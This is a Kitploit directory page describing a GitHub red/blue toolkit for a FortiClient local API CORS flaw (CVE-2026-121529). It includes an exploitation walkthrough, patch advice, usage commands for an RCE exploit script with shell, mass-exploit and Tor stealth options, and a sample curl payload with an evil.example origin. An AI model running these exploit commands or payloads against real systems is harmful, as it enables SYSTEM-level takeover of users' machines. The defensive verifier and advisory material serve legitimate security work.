Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-121529-Toolkit — Red/blue team toolkit for CVE-2026-121529 FortiClient CORS origin validation flaw: RCE exploit with interactive shell, browser payload server, mass scan, plus non-intrusive CORS verifier. | Kitploit
工具/GitHubGitHub/tc4dy/cve-2026-121529-toolkit
Defensive ToolsReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationInformation GatheringPost-ExploitationWeb SecurityPenetration TestingCommand and ControlRed Teaming
58天前尚未审核
分享
GitHub
tc4dy/cve-2026-121529-toolkit

CVE-2026-121529-Toolkit

Red/blue team toolkit for CVE-2026-121529 FortiClient CORS origin validation flaw: RCE exploit with interactive shell, browser payload server, mass scan, plus non-intrusive CORS verifier.

查看仓库
内容在请求的语言中不可用。显示英文版本。

CVE-2026-121529 - FortiClient Local API Origin Validation Error Toolkit

Python 3.8+ CVSS Author Fortinet

Ethical Use Only - Authorized Tests This repository provides tools for authorized security professionals, red teams, and blue teams only. Unauthorized access to computer systems is illegal under CFAA (US), Computer Misuse Act (UK), TCK 243/244 (Turkey), and similar laws worldwide.

welovefortinet


[i] Vulnerability Overview

CVE-2026-121529 is a critical unauthenticated Origin Validation Error (CWE-346) in FortiClient's local API, specifically targeting the FortiPAM privileged session component (FortiVRS.exe on Windows). It allows an unauthenticated attacker to execute arbitrary commands with SYSTEM privileges via a cross-origin request from the victim's browser. CVSS score: 9.6 (Critical).

The flaw affects FortiClient versions 7.4.0 through 7.4.7 and 7.2.0 through 7.2.14. The root cause is an overly permissive CORS configuration on the local API listening on 127.0.0.1:9191, which reflects the Origin header without validation and sets Access-Control-Allow-Credentials: true. This bypasses browser security boundaries, allowing any website to communicate with the privileged local service.

How it works

  1. Browser-Based Trigger - The attacker hosts a malicious webpage. When the victim visits it, the page's JavaScript sends a fetch() request to http://127.0.0.1:9191/api/v1/privileged/session.
  2. CORS Reflection - The FortiClient API reflects the attacker's Origin in the Access-Control-Allow-Origin response header, allowing the browser to read the response.
  3. Command Execution - The API processes the request body ({"command": "..."}) and executes it with SYSTEM privileges.
  4. Exfiltration - The response (command output) is read by the JavaScript and sent back to the attacker's server.
  5. WebSocket Surface - The WebSocket endpoint (ws://127.0.0.1:9191/ws) is not governed by CORS policies, meaning patches that only fix HTTP headers leave this vector open.
  6. Impact - Full remote code execution (RCE) as SYSTEM, enabling persistence, credential theft, lateral movement, and defense evasion.

Affected Versions

  • FortiClient Windows - 7.4.0 to 7.4.7, 7.2.0 to 7.2.14
  • FortiClient macOS - Same version branches (dependent on FortiPAM integration)

Patch

  • Upgrade FortiClient to 7.4.8+ or 7.2.15+.
  • If upgrade is not possible:
    • Restrict network access to 127.0.0.1:9191 (though this breaks FortiPAM functionality).
    • Deploy a local firewall rule to block cross-origin requests to the API.
    • Monitor for anomalous POST requests to /api/v1/privileged/session.

[T] Tools

ToolPurposeIntended User
exploit.pyFull red team toolkit with direct API RCE, browser-based payload server (--serve), interactive shell, mass scanning, enumeration (--enum), command chaining, SOCKS5/Tor proxy, stealth jitter, and JSON reporting.Red teams / authorized pentesters (ethical only)
verifier.pyNon-intrusive exposure scanner that detects FortiClient's API via port check, validates CORS misconfiguration using OPTIONS preflight, identifies WAF presence, and produces JSON/CSV reports. Never sends an execution payload.Blue teams / security auditors

[C] Feature Comparison

Featureexploit.pyverifier.py
Port detection[+][+]
CORS preflight check[-][+]
Direct RCE (POST)[+][-]
Browser payload server (--serve)[+][-]
CORS bypass (text/plain)[+][-]
Command enumeration (--enum)[+][-]
Command file execution (--exec-file)[+][-]
Interactive shell[+][-]
Upload/Download in shell[+][-]
Mass scanning (multi-thread)[+][+]
File / target list input[+][+]
SOCKS5/Tor proxy[+][-]
Stealth jitter (--stealth)[+][-]
User-Agent rotation[+][+]
Retry with backoff[+][+]
WAF detection[+][+]
JSON report[+][+]
CSV report[-][+]
Chain mode (--chain)[+][-]
Non-intrusive (safe) mode[-][+]
IoC recommendations[-][+]

[U] Use Case Summary

ScenarioRecommended Tool
Blue Team - verifying if your FortiClient is exposedverifier.py
Security Audit - non-intrusive CORS assessmentverifier.py
Compliance / Reporting - WAF and version inventoryverifier.py
Red Team - authorized penetration testing with RCEexploit.py
Bug Bounty - responsible disclosure testingverifier.py
Mass Scanning - checking many endpoints for exposureverifier.py (read-only) or exploit.py (with --file)
Incident Response - checking if systems are compromisedverifier.py
Post-Exploitation - interactive shell and enumerationexploit.py --shell --enum

[I] Installation

git clone https://github.com/tc4dy/CVE-2026-121529-PoC-Toolkit
cd CVE-2026-121529-PoC-Toolkit
pip install -r requirements.txt

requirements.txt

pysocks

[>] Scenarios

#ScenarioCommand
1Quick exposure checkpython3 verifier.py --target http://127.0.0.1:9191
2Detailed scan with reportpython3 verifier.py --target http://127.0.0.1:9191 --output report.json -v
3Mass audit from filepython3 verifier.py --file targets.txt --threads 32 --output audit.csv
4Single command executionpython3 exploit.py --target http://127.0.0.1:9191 --command "whoami"
5Full enumerationpython3 exploit.py --target http://127.0.0.1:9191 --enum
6Interactive shellpython3 exploit.py --target http://127.0.0.1:9191 --shell
7Browser payload serverpython3 exploit.py --serve --target 127.0.0.1 --lhost 192.168.1.10
8Chain mode (browser)python3 exploit.py --serve --target 127.0.0.1 --lhost 192.168.1.10 --chain --enum
9Tor + stealthpython3 exploit.py --target http://127.0.0.1:9191 --tor --stealth
10Mass exploitpython3 exploit.py --file targets.txt --threads 20 --output results.json

[E] Exploitation Chain

The exploit leverages the following FortiClient endpoints and steps:

StepMethodEndpointDescription
1. Port CheckTCP127.0.0.1:9191Verify the local API is listening
2. CORS ProbeOPTIONS/api/v1/privileged/sessionCheck if Access-Control-Allow-Origin reflects the attacker's origin
3. Command ExecutionPOST/api/v1/privileged/sessionSend {"command": "..."} with Content-Type: text/plain to avoid CORS preflight
4. Output Extraction--Parse the response for output, result, stdout, or raw text
5. Browser PayloadGET/payloadServe a malicious HTML page that performs steps 2-4 automatically

Payload Format

# Direct API execution
curl -X POST http://127.0.0.1:9191/api/v1/privileged/session \
  -H "Origin: http://evil.example" \
  -H "Content-Type: text/plain" \
  -d '{"command":"whoami"}'
下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    627
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    416
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer是一个开源的特权访问管理(PAM)平台,为DevOps和IT团队提供通过Web浏览器按需安全访问SSH、RDP、Kubernetes、数据库和RemoteApp端点的能力。

    379
  • 5

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    330
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    由 AI 驱动的 OSINT 引擎,可在网络上发现并映射 7,700+ 个社交媒体身份

    288

探索所有工具

浏览我们的工具集合

查看所有工具 →